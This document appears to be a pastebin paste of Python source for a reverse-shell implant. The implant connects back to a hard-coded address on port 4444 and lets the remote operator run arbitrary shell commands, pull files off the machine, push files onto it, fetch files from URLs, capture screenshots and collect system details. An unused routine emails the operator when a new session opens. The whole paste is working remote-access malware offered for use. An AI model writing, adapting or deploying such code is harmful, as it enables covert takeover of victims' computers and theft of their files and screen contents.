· 5 years ago · Dec 26, 2019, 05:20 PM
1
2
3import socket
4import sys
5import os
6import subprocess
7import random
8import platform
9import time
10import smtplib
11import ssl
12import shutil
13import base64
14import urllib.request
15
16try :
17
18 import pyautogui
19
20except :
21
22 os.system("pip3 install pyautogui")
23
24if platform.system().startswith("Linux") :
25
26 red = '\033[91m'
27 green = '\033[92m'
28 yellow = '\033[93m'
29 blue = '\033[94m'
30 endc = '\033[0m'
31 underline = '\033[4m'
32
33else :
34
35 red = ''
36 green = ''
37 yellow = ''
38 blue = ''
39 endc = ''
40 underline = ''
41
42
43def Email_Warning () :
44
45 SMTP_SERVER = "SmtpServer"
46 PORT = 465
47 SENDER_EMAIL = "Email"
48 PASSWORD = "Password"
49 RECEIVER_EMAIL = "Email"
50 MESSAGE = """\
51 Subject: Reverse Shell !
52
53
54 [+] A New Reverse Tcp Session
55 --------------------------------------------------
56 [*] Time : {0}
57 [*] Hostname : {1}
58 [*] System : {2}
59 --------------------------------------------------
60
61 """.format(time.ctime() , socket.gethostname() , platform.system())
62
63 ssl_context = ssl.create_default_context()
64
65 with smtplib.SMTP_SSL(SMTP_SERVER , PORT , context = ssl_context) as server :
66 server.login(SENDER_EMAIL , PASSWORD)
67 server.sendmail(SENDER_EMAIL , RECEIVER_EMAIL , MESSAGE)
68
69def socket_creation():
70
71 try :
72
73 global host
74 global port
75 global s
76
77 s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
78 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
79 s.setblocking(1)
80 host , port = "192.168.1.12" , 4444
81
82 except socket.error as e :
83 print("")
84 print(red + "Socket Error : " , e + endc)
85
86def socket_connection():
87
88 try :
89
90 s.connect((host , port))
91
92 except socket.error as e :
93 print(red , e + endc)
94
95if __name__ == '__main__':
96
97 #Email_Warning ()
98 socket_creation()
99 socket_connection()
100
101while True :
102
103 received_data = s.recv(20480)
104 decoded_data = received_data.decode()
105
106 def CWD () :
107
108 cwd = os.getcwd()
109 s.send(str.encode(cwd))
110
111 def Connection_Exit () :
112
113 s.close()
114 sys.exit()
115
116 def Info () :
117
118 _node = platform.node()
119 _machine = platform.machine()
120 _system = platform.system()
121 _release = platform.release()
122 _version = platform.version()
123 _architecture = str(platform.architecture()[0])
124 _language = str(os.getenv("LANG").split(".")[0])
125 s.send(_node.encode())
126 time.sleep(0.5)
127 s.send(_machine.encode())
128 time.sleep(0.5)
129 s.send(_system.encode())
130 time.sleep(0.5)
131 s.send(_release.encode())
132 time.sleep(0.5)
133 s.send(_version.encode())
134 time.sleep(0.5)
135 s.send(_architecture.encode())
136 time.sleep(0.5)
137 s.send(_language.encode())
138
139 def Url_download () :
140
141 sent_command = "[+] Command Received"
142 s.send(sent_command.encode())
143 received_url = s.recv(204800)
144 decoded_receivec_url = received_url.decode()
145 url_file_name = decoded_receivec_url.split("/")[-1]
146
147 try :
148
149 url_open = urllib.request.urlopen(decoded_receivec_url)
150
151 with open(url_file_name , mode = "wb") as downloaded_url_file :
152 downloaded_url_file.write(url_open.read())
153
154 if os.path.isfile(url_file_name) and os.access(url_file_name , os.F_OK) :
155
156 time.sleep(1)
157 sent_path_check_status = "File Has Been Downloaded Over This Url"
158 s.send(sent_path_check_status.encode())
159
160 else :
161
162 sent_path_check_status = "Error File Has Not been Downloaded Correctly"
163 s.send(sent_path_check_status.encode())
164
165 except :
166
167 open_url_error = "Failed To Open This Url"
168 s.send(open_url_error.encode())
169
170 def Download () :
171
172 sent_command = "[+] Command Received"
173 s.send(sent_command.encode())
174
175 path_file = s.recv(204800)
176 decoded_path_file = path_file.decode()
177
178 if os.access(decoded_path_file , os.F_OK) and os.path.isfile(decoded_path_file) :
179
180 path_confirmation = "Path Found"
181 s.send(path_confirmation.encode())
182
183 with open (decoded_path_file , mode = "rb") as readabale_file :
184 sent_file = readabale_file.read()
185 s.send(sent_file)
186
187 else :
188
189 path_confirmation = "Path Not Found"
190 s.send(path_confirmation.encode())
191
192 def Upload () :
193
194 sent_command = "[+] Command Received"
195 s.send(sent_command.encode())
196
197 path_file = s.recv(204800)
198 decoded_path_file = path_file.decode()
199 binary_data = s.recv(204800)
200
201 with open(decoded_path_file , "wb") as writable_file :
202 writable_file.write(binary_data)
203
204 time.sleep(0.5)
205
206 if os.access(decoded_path_file , os.F_OK) and os.path.isfile(decoded_path_file) :
207
208 chceck_path = "File Uploaded"
209 s.send(chceck_path.encode())
210
211 else :
212
213 chceck_path = "Error File Uploaded"
214 s.send(chceck_path.encode())
215
216
217 def Screenshot_capture () :
218
219 sent_command = "[+] Command Received"
220 s.send(sent_command.encode())
221 screenshot_path = "/root/Desktop/pic.jpg"
222 pyautogui.screenshot(screenshot_path)
223 screenshot_size = str(os.path.getsize(screenshot_path))
224 s.send(screenshot_size.encode())
225 time.sleep(0.5)
226 with open(screenshot_path , mode = "rb") as _screenshot :
227 read_binary_data = _screenshot.read()
228 s.send(read_binary_data)
229 time.sleep(5)
230 os.remove(screenshot_path)
231
232 def Interactive_shell () :
233
234 command_file_descriptor = subprocess.Popen( decoded_data
235 , shell = True
236 , stdin = subprocess.PIPE
237 , stdout = subprocess.PIPE
238 , stderr = subprocess.PIPE )
239 bytes_output = command_file_descriptor.stdout.read() + command_file_descriptor.stderr.read()
240 string_output = str(bytes_output , "utf-8")
241 cwd = red + " __[- " + endc + green + socket.gethostname() + endc + red + " -]" + endc + yellow + "~-~" + endc + red + "[" + endc + green + os.getcwd() + endc + red + "]" + red +"\n|__" + endc
242 s.send(str.encode(endc + "\n" + string_output + "\n" + green + cwd))
243
244 try :
245
246 if decoded_data[:2] == "cd" :
247 os.chdir(decoded_data[3:])
248
249 except Exception :
250
251 pass
252
253 if decoded_data == "exit" or decoded_data == "quit" :
254
255 Connection_Exit ()
256
257 elif decoded_data == "cwd" :
258
259 CWD ()
260
261 elif decoded_data == "screenshot":
262
263 Screenshot_capture ()
264
265 elif decoded_data == "upload" :
266
267 Upload ()
268
269 elif decoded_data == "url download" :
270
271 Url_download ()
272
273 elif decoded_data == "download" :
274
275 Download ()
276
277 elif decoded_data == "sysinfo" :
278
279 Info ()
280
281 else :
282
283 Interactive_shell ()